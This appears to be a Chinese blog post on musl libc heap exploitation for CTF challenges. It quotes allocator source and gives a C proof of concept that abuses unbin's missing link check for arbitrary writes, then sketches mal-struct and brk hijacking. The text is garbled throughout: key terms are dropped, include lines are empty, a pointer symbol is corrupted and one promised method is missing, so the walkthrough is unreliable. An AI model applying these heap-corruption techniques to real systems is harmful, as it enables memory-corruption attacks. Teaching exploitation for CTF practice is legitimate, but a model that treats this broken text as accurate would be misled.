debug musl( 四 )


堆利用
musl 采用 unbin 函数从 bins 中取出 chunk ,对应 glibc 中的,但是 unbin 中检查不足没有检查链表完整性,可以进行利用实现任意地址写 。如果泄露了堆地址还可以写 rop 链进行 ROP。
static void unbin(struct chunk *c, int i) {if (c->prev == c->next)a_and_64(&mal.binmap, ~(1ULL << i));c->prev->next = c->next;c->next->prev = c->prev;c->csize |= C_INUSE;NEXT_CHUNK(c)->psize |= C_INUSE;}
的作用是可以在两位置写入可读写地址,很多攻击手法都是建立在的基础上的 。
poc 如下:
#include #include #define OVERHEAD (2*sizeof(size_t))#define MEM_TO_CHUNK(p) (struct chunk *)((char *)(p) - OVERHEAD)#define CHUNK_TO_MEM(c) (void *)((char *)(c) + OVERHEAD)#define C_INUSE((size_t)1)struct chunk {size_t psize, csize;struct chunk *next, *prev;};struct chunk target;int main() {struct chunk *fake_chunk = malloc(0x30) + 0x10;struct chunk *next_chunk = MEM_TO_CHUNK(malloc(0x30));fake_chunk->psize |= C_INUSE;fake_chunk->prev = ⌖fake_chunk->next = ⌖next_chunk->psize = 0x20;free(CHUNK_TO_MEM(next_chunk));assert(target.prev == target.next && target.prev == &target);return 0;}
这个 poc 是通过 chunk 合并来触发的,因此需要满足以下条件:
任意地址
以这道题目为例 。
musl heap 在时没有检查,因此只要修改释放的 chunk 的 next 指针就可以实现任意地址。但是有 3 个地方需要注意 。
因此有如下攻击流程:
劫持 mal 实现连续任意地址
以这道题目为例 。
对于同一大小的 chunk 来说,前面任意地址的方法只能进行一次,因为经过一次任意地址之后 mal 的 bin 的 head 指针已经不可控,因此不能再次任意地址。
但是如果劫持 mal 结构体的话就可以连续任意地址 ,不过任意地址的前提是 fake chunk 的 csize , next 和 prev 必须满足前面任意地址的条件 。由于劫持了 mal 结构体之后不容易,因此需要在劫持 mal 结构体之前在需要的地址通过位置 fake chunk 的 next 和 prev。另外需要选择目标地址往前一点的偏移使得 csize 合法,之后不停的任意地址利用前面的 fake chunk 伪造后面 fake chunk 的头直到把目标地址申请出来 。
另外由于部分 chunk 是在程序上的,因此可以通过部分地址覆盖 mal 上的这些程序地址从而绕过 PIE 将 chunk 申请到程序的某些结构上 。例如这道题目 。
劫持 brk 控制返回值
还是以这道题为例
当 bins 中没有 chunk 可供分配(即为 0 时)会调用函数申请一块新的堆空间用于构造 chunk。因此可以通过任意地址写修改的 brk 然后劫持 mal 设置为 0 来实现对返回值的控制 。
获取 brk 在 libc.so 中偏移的方法如下:
musl heap (musl-1.2.3) 基本数据结构
在 meta.h 文件夹中定义了 musl 内存管理相关的结构 。
deque
musl 内存管理时经常使用双向链表来缓存一些 meta 的结构,我们暂且称它为 deque。
对应的操作有 queue,, 三个操作 。
queue
queue 函数的作用是将 *m 插入到 *phead 指向的 deque 中 。
static inline void queue(struct meta **phead, struct meta *m) {assert(!m->next);assert(!m->prev);if (*phead) {struct meta *head = *phead;m->next = head;m->prev = head->prev;m->next->prev = m->prev->next = m;} else {m->prev = m->next = m;*phead = m;}}
函数的作用是将 *m 从 *phead 指向的 deque 中取出 。
static inline void dequeue(struct meta **phead, struct meta *m) {if (m->next != m) {m->prev->next = m->next;m->next->prev = m->prev;if (*phead == m) *phead = m->next;} else {*phead = 0;}m->prev = m->next = 0;}